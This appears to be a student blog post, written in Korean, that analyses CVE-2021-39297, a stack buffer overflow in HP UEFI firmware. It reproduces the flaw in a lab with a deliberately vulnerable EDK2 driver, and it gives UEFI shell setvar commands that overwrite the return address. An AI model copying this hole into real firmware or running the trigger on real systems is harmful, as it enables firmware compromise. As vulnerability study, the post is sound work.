CVE-2021-39297 분석 및 실습

2026. 2. 14. 20:41·CS/Graduation project

CVE-2021-39297

  • NVD:  https://nvd.nist.gov/vuln/detail/CVE-2021-39297
  • CVSS v3.1 Score: 7.7 High

취약 코드

 

VendorGuid.Data1 = 0x8BE4DF61;
*&VendorGuid.Data2 = 0x11D293CA;
*VendorGuid.Data4 = 0xE0000DAA;
*&VendorGuid.Data4[4] = 0x8C2B0398;
Buffer = 0i64;
DataSize = 8i64;                              // data size only initialize once
if ( IsNotEqual(buf, g_buf) )                 // False (buf = g_buf)
{
  gBS_157B28->SetMem(&Buffer, 8ui64, 0);
  sprintf_s(&Buffer, 8i64, "%a", vLang);
}
else if ( (gRT_157B30->GetVariable(L"PlatformLang", &VendorGuid, 0i64, &DataSize, &Buffer) & 0x8000000000000000ui64) == 0i64 )
{
  WriteLog(L"PlatformLang reported as %a.\r\n", &Buffer);
}
else
{
  // DataSize didn't change after the first GetVariable call which leads stack buffer overflow
  if ( (gRT_157B30->GetVariable(L"Lang", &VendorGuid, 0i64, &DataSize, &Buffer) & 0x8000000000000000ui64) != 0i64 )
  {
    result = WriteLog(L"Unable to find Lang variable, defaulting to English.\r\n");
    g_LangVarFound = 0i64;
    return result;
  }
  WriteLog(L"Lang reported as %a.\r\n", &Buffer);
}

취약 코드를 세부적으로 분석해보면 아래와 같다.

 

 

 

DataSize = 8i64;

개발자는 Buffer가 8바이트 정도라고 생각하고 DataSize를 8로 초기화 했다.

 

 

 

else if ( (gRT_157B30->GetVariable(L"PlatformLang", &VendorGuid, 0i64, &DataSize, &Buffer) & 0x8000000000000000ui64) == 0i64 )
{

GetVariable을 통해 PlatformLang이라는 NVRAM 변수를 읽어오라고 요청했다. 이때 GetVariable 함수의 특성상 DataSize는 입/출력 파라미터다. 즉 들어갈 때는 버퍼 크기(8)를 의미하지만, 나올 때는 실제 변수의 데이터 크기로 업데이트되어 반환된다.

 

 

 

else
{
  // DataSize didn't change after the first GetVariable call which leads stack buffer overflow
  if ( (gRT_157B30->GetVariable(L"Lang", &VendorGuid, 0i64, &DataSize, &Buffer) & 0x8000000000000000ui64) != 0i64 )
  {

문제는 그 이후 Lang 변수를 읽으려고 할 때 발생한다.개발자는 아마도 DataSize가 여전히 8바이트라고 생각하고 해당 코드를 작성했겠지만, 실제 DataSize 변수의 값은 앞서 PlatformLang을 읽을 때 늘어난 100바이트로 변경된 상태다.

 

따라서 GetVariable은 100바이트 크기의 데이터를 그대로 8바이트 크기의 Buffer에 쑤셔넣게 된다. 이 부분에서 스택 버퍼 오버플로우가 발생하게 된다.

 

 

정리: GetVariable을 두 번 호출하는데, 그 사이에 사이즈 변수인 DataSize를 재초기화하지 않아서 발생한 논리적 취약점이다.

 

 

 

 


실습

실습을 위해 실제 코드에서 HP 전용 GUID 등을 제외하고 표준 EDK2 환경에 맞춰 재작성하였다

 

 

1. DoubleGetVariable.c

#include <Uefi.h>
#include <Library/UefiLib.h>
#include <Library/UefiRuntimeServicesTableLib.h>
#include <Library/BaseMemoryLib.h>
#include <Library/DebugLib.h>

EFI_GUID myGuid = { 0x12345678, 0x1234, 0x1234, { 0x12, 0x34, 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB } };

EFI_STATUS
EFIAPI
VulnerableDriverEntryPoint(
    IN EFI_HANDLE ImageHandle,
    IN EFI_SYSTEM_TABLE *SystemTable
)
{
    EFI_STATUS Status;

    UINT8 Buffer[16];
    UINTN DataSize = sizeof(Buffer);


    Status = gRT -> GetVariable(
        L"FirstVar",
        &myGuid,
        NULL,
        &DataSize,
        Buffer
    );

    DEBUG((DEBUG_INFO, "First GetVariable DataSize Result: %d\n",(UINT32)DataSize));

    Status = gRT-> GetVariable(
        L"SecondVar",
        &myGuid,
        NULL,
        &DataSize,
        Buffer
    );

    return Status;
}

실제 코드와 마찬가지로 두 번의 GetVariable 호출 사이에 DataSize를 초기화하지 않았다.

 

 

 

2. DoubleGetVariable.inf

[Defines]
  INF_VERSION                    = 0x00010005
  BASE_NAME                      = DoubleGetVariable
  FILE_GUID                      = 532863B2-8230-466D-9136-121544669866
  MODULE_TYPE                    = DXE_DRIVER
  VERSION_STRING                 = 1.0
  ENTRY_POINT                    = VulnerableDriverEntryPoint

[Sources]
  DoubleGetVariable.c

[Packages]
  MdePkg/MdePkg.dec
  MdeModulePkg/MdeModulePkg.dec

[LibraryClasses]
  UefiDriverEntryPoint
  UefiLib
  UefiRuntimeServicesTableLib
  DebugLib
  BaseMemoryLib

[Depex]
  TRUE

빌드 정보 파일은 위와 같이 설정했다. 이때 Depex는 이 드라이버가 의존하는 프로토콜이 없으므로, DXE Dispatcher가 드라이버를 발견하는 즉시 로드하고 실행하도록 TRUE로 설정해야 한다.

 

 

 

 

Step1. DataSize 오염

setvar FirstVar -guid 12345678-1234-1234-1234-1234567890AB -bs -rt -nv =41414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141

먼저 DataSize 오염용으로 FirstVar에 16바이트 크기의 버퍼보다 훨씬 큰 값을 넣었다.

 

 

 

 

Step2. 오버플로우 트리거용 SecondVar 생성

setvar SecondVar -guid 12345678-1234-1234-1234-1234567890AB -bs -rt -nv =41414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141

이어서 스택의 복귀 주소를 덮어쓰기 위해 SecondVar를 생성했다.

 

 

 

 

 

Step3. 드라이버 로드

fs0:
load DoubleGetVariable.efi

앞서 만든 드라이버를 로드하면 CPU 예외가 발생하며 시스템이 멈추는 것을 확인할 수 있다.

 

로그 상에서 RIP 레지스터가 414141로 변조된 것을 확인할 수 있고, 이는 SecondVar에 채운 A 값이 스택의 버퍼를 넘어 복귀 주소까지 정확히 덮어썼음을 보여준다.

 

 

 

 

결론 

  1. 개발자가 버퍼와 데이터 사이즈를 초기화함
  2. 첫 번째 GetVariable 호출 이후 데이터 사이즈 변수(DataSize)의 값이 실제 변수 크기(100+)로 증가함
  3. 개발자가 이를 다시 초기화하지 않고 두 번째 GetVariable을 호출함
  4. UEFI 서비스는 증가된 DataSize만큼의 데이터를 16바이트 버퍼에 복사함
  5. 스택 버퍼 오버플로우 발생 및 실행 흐름 탈취

 

+

실제 해당 취약점(HP 펌웨어)은 컴파일러 최적화 등의 이슈로 Buffer가 현재 함수의 복귀 주소보다 더 높은 주소에 배치된 특이 케이스다. 그런데 메모리 쓰기는 낮은 주소에서 높은 주소로 진행되므로, Buffer에서 아무리 데이터를 쏟아부어도 구조상 내 뒤(낮은 주소)에 있는 현재 함수의 복귀 주소에는 도달할 수 없다. 따라서 Binarly는 Buffer에서 시작해 현재 함수의 스택 프레임을 지나쳐, 더 높은 주소에 위치한 부모 함수의 스택 프레임까지 넘치게 만드는 전략을 사용했다. 이를 통해 최종적으로 부모 함수의 복귀 주소를 덮어쓰는 방식으로 실행 흐름을 탈취한 것이다.

 

 

 

 


참고

https://github.com/binarly-io/Vulnerability-REsearch/blob/main/HP/BRLY-2021-003.md

 

Vulnerability-REsearch/HP/BRLY-2021-003.md at main · binarly-io/Vulnerability-REsearch

Binarly Vulnerability Research Advisories. Contribute to binarly-io/Vulnerability-REsearch development by creating an account on GitHub.

github.com

'CS > Graduation project' 카테고리의 다른 글

CVE-2021-42059 분석 및 실습  (0) 2026.02.19
[UEFI] 기드라 스크립트 검증과 오탐 분석  (0) 2026.02.19
[UEFI] SetVariable()  (0) 2026.02.14
[UEFI] 리눅스(WSL) 환경에서 EDK2 빌드 및 실행  (0) 2026.02.14
[UEFI] EDK2를 활용한 Stack Buffer Overflow 실습  (0) 2026.02.02
'CS/Graduation project' 카테고리의 다른 글
  • CVE-2021-42059 분석 및 실습
  • [UEFI] 기드라 스크립트 검증과 오탐 분석
  • [UEFI] SetVariable()
  • [UEFI] 리눅스(WSL) 환경에서 EDK2 빌드 및 실행
tteokbokki-master
tteokbokki-master
공부하며 알아가는 걸 조금씩 정리하고 있어요
  • tteokbokki-master
    용로그
    tteokbokki-master
  • 전체
    오늘
    어제
    • 분류 전체보기
      • CS
        • 컴파일러개론
        • Graduation project
      • 프로그래밍 언어
        • HTML & CSS
        • JavaScript
        • React 기초
        • 파이썬 기초
        • TanStack-Query
        • C언어 기초
        • git
        • 리눅스
        • 코딩테스트 공부
      • 개발 지식
      • 언어학
        • 의미론
      • 회고 및 기록
      • 프로젝트
        • TodoList 만들기
        • 학수고대 프로젝트
        • 2025 동계 모각코 (안조용희)
      • 기타
        • [JS-0기] 한입 FE 챌린지
        • 서평
  • 인기 글

  • 글쓰기 / 관리
  • hELLO· Designed By정상우.v4.10.3
tteokbokki-master
CVE-2021-39297 분석 및 실습
상단으로

티스토리툴바